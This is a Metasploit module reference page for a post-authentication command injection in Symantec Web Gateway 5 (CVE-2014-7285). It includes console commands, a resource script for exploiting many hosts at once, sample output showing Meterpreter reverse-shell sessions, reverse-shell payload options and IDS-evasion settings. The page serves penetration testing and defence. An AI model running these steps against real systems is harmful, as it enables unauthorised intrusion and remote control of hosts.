Symantec Web Gateway 5 restore.php Post Authentication Command Injection - Metasploit
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Module Overview
Name: Symantec Web Gateway 5 restore.php Post Authentication Command Injection
Module: exploit/linux/http/symantec_web_gateway_restore
Source code: modules/exploits/linux/http/symantec_web_gateway_restore.rb
Disclosure date: 2014-12-16
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-7285
This module exploits a command injection vulnerability found in Symantec Web Gateway's setting restoration feature. The filename portion can be used to inject system commands into a syscall function, and gain control under the context of HTTP service. For Symantec Web Gateway 5.1.1, you can exploit this vulnerability by any kind of user. However, for version 5.2.1, you must be an administrator.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using symantec_web_gateway_restore against a single host
Normally, you can use exploit/linux/http/symantec_web_gateway_restore this way:
msf > use exploit/linux/http/symantec_web_gateway_restore
msf exploit(symantec_web_gateway_restore) > show targets
... a list of targets ...
msf exploit(symantec_web_gateway_restore) > set TARGET target-id
msf exploit(symantec_web_gateway_restore) > show options
... show and set options ...
msf exploit(symantec_web_gateway_restore) > exploit
Using symantec_web_gateway_restore against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your symantec_web_gateway_restore will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/symantec_web_gateway_restore")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
USERNAME: The username to login as
PASSWORD: The password for the username
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Msfconsole Usage
Here is how the linux/http/symantec_web_gateway_restore exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/symantec_web_gateway_restore
msf6 exploit(linux/http/symantec_web_gateway_restore) > show info
Name: Symantec Web Gateway 5 restore.php Post Authentication Command Injection
Module: exploit/linux/http/symantec_web_gateway_restore
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2014-12-16
Provided by:
Egidio Romano
sinn3r <[email protected]>
Available targets:
Id Name
-- ----
0 Symantec Web Gateway 5
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password for the username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI to Symantec Web Gateway
USERNAME yes The username to login as
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a command injection vulnerability found in
Symantec Web Gateway's setting restoration feature. The filename
portion can be used to inject system commands into a syscall
function, and gain control under the context of HTTP service. For
Symantec Web Gateway 5.1.1, you can exploit this vulnerability by
any kind of user. However, for version 5.2.1, you must be an
administrator.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-7285
OSVDB (116009)
http://www.securityfocus.com/bid/71620
http://karmainsecurity.com/KIS-2014-19
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20141216_00
Module Options
This is a complete list of options available in the linux/http/symantec_web_gateway_restore exploit:
msf6 exploit(linux/http/symantec_web_gateway_restore) > show options
Module options (exploit/linux/http/symantec_web_gateway_restore):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password for the username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI to Symantec Web Gateway
USERNAME yes The username to login as
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Symantec Web Gateway 5
Advanced Options
Here is a complete list of advanced options supported by the linux/http/symantec_web_gateway_restore exploit:
msf6 exploit(linux/http/symantec_web_gateway_restore) > show advanced
Module advanced options (exploit/linux/http/symantec_web_gateway_restore):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/symantec_web_gateway_restore module can exploit:
msf6 exploit(linux/http/symantec_web_gateway_restore) > show targets
Exploit targets:
Id Name
-- ----
0 Symantec Web Gateway 5
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/symantec_web_gateway_restore exploit:
msf6 exploit(linux/http/symantec_web_gateway_restore) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
1 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
2 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/symantec_web_gateway_restore exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/symantec_web_gateway_restore) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection timed out while retrieving PHPSESSID
Here is a relevant code snippet related to the "Connection timed out while retrieving PHPSESSID" error message:
87: 'uri' => normalize_uri(uri, 'spywall/login.php'),
88: 'method' => 'GET',
89: })
90:
91: unless res
92: fail_with(Failure::Unknown, 'Connection timed out while retrieving PHPSESSID')
93: end
94:
95: cookies = res.get_cookies
96: sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
97:
Connection timed out while attempting to login
Here is a relevant code snippet related to the "Connection timed out while attempting to login" error message:
113: 'loginBtn' => 'Login'
114: }
115: })
116:
117: unless res
118: fail_with(Failure::Unknown, 'Connection timed out while attempting to login')
119: end
120:
121: cookies = res.get_cookies
122: sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
123:
Bad username or password: <USERNAME>:<PASSWORD>
Here is a relevant code snippet related to the "Bad username or password: <USERNAME>:<PASSWORD>" error message:
124: if res.headers['Location'] =~ /executive_summary\.php$/ && !sid.blank?
125: # Successful login
126: return sid
127: else
128: # Failed login
129: fail_with(Failure::NoAccess, "Bad username or password: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
130: end
131: end
132:
133: def build_payload
134: # At of today (Feb 27 2015), there are only three payloads this module will support:
Failed to get the session ID. Cannot continue with the login.
Here is a relevant code snippet related to the "Failed to get the session ID. Cannot continue with the login." error message:
189:
190: def exploit
191: print_status("Getting the PHPSESSID...")
192: sid = get_sid
193: if sid.blank?
194: print_error("Failed to get the session ID. Cannot continue with the login.")
195: return
196: end
197:
198: print_status("Attempting to log in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
199: sid = login(sid)
Failed to get the session ID from the login process. Cannot continue with the injection.
Here is a relevant code snippet related to the "Failed to get the session ID from the login process. Cannot continue with the injection." error message:
196: end
197:
198: print_status("Attempting to log in as #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
199: sid = login(sid)
200: if sid.blank?
201: print_error("Failed to get the session ID from the login process. Cannot continue with the injection.")
202: return
203: else
204: # Good password, keep it
205: store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
206: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8489 Merged Pull Request: more httpClient modules use store_valid_credential
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6646 Merged Pull Request: Add TLS Server Name Indication (SNI) Support, unify SSLVersion options
- #4857 Merged Pull Request: Add CVE-2014-7285, Symantec Web Gateway restore.php Command Injection
References
- CVE-2014-7285
- OSVDB (116009)
- BID-71620
- http://karmainsecurity.com/KIS-2014-19
- http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20141216_00
See Also
Check also the following modules related to this module:
- exploit/linux/http/symantec_messaging_gateway_exec
- exploit/linux/http/symantec_web_gateway_exec
- exploit/linux/http/symantec_web_gateway_file_upload
- exploit/linux/http/symantec_web_gateway_lfi
- exploit/linux/http/symantec_web_gateway_pbcontrol
- exploit/linux/ssh/symantec_smg_ssh
- auxiliary/scanner/http/symantec_brightmail_ldapcreds
- auxiliary/scanner/http/symantec_brightmail_logfile
- auxiliary/scanner/http/symantec_web_gateway_login
- exploit/windows/antivirus/symantec_endpoint_manager_rce
- exploit/windows/antivirus/symantec_iao
- exploit/windows/antivirus/symantec_rtvscan
- exploit/windows/antivirus/symantec_workspace_streaming_exec
- exploit/windows/browser/symantec_altirisdeployment_downloadandinstall
- exploit/windows/browser/symantec_altirisdeployment_runcmd
- exploit/windows/browser/symantec_appstream_unsafe
- exploit/windows/browser/symantec_backupexec_pvcalendar
- exploit/windows/browser/symantec_consoleutilities_browseandsavefile
- exploit/multi/fileformat/ghostscript_failed_restore
- exploit/windows/misc/hp_imc_dbman_restoredbase_unauth_rce
- exploit/linux/http/atlassian_confluence_webwork_ognl_injection
- exploit/linux/http/nagios_xi_autodiscovery_webshell
- exploit/linux/http/netsweeper_webadmin_unixlogin
- exploit/linux/http/sophos_utm_webadmin_sid_cmd_injection
- exploit/linux/http/trendmicro_websecurity_exec
- exploit/linux/http/webcalendar_settings_exec
- exploit/linux/http/webid_converter
- exploit/linux/http/webmin_backdoor
- exploit/linux/http/webmin_file_manager_rce
- exploit/linux/http/webmin_package_updates_rce
- exploit/linux/http/webmin_packageup_rce
- exploit/linux/http/microfocus_secure_messaging_gateway
- exploit/linux/http/spring_cloud_gateway_rce
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Authors
- Egidio Romano
- sinn3r
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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